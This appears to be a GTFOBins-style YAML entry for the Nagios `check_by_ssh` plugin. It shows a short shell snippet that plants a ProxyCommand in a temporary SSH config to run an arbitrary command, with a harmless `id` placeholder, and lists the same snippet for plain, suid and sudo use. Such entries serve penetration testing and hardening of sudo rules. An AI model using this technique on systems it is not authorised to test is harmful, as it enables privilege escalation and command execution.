---
description: |
  This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
functions:
  command:
    - code: |
        COMMAND='/usr/bin/id'
        OUTPUT="output_file"
        TF=$(mktemp)
        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
        check_by_ssh -F "$TF" -H localhost -C something
        cat $OUTPUT
  suid:
    - code: |
        COMMAND='/usr/bin/id'
        OUTPUT="output_file"
        TF=$(mktemp)
        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
        check_by_ssh -F "$TF" -H localhost -C something
        cat $OUTPUT
  sudo:
    - code: |
        COMMAND='/usr/bin/id'
        OUTPUT="output_file"
        TF=$(mktemp)
        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
        check_by_ssh -F "$TF" -H localhost -C something
        cat $OUTPUT
---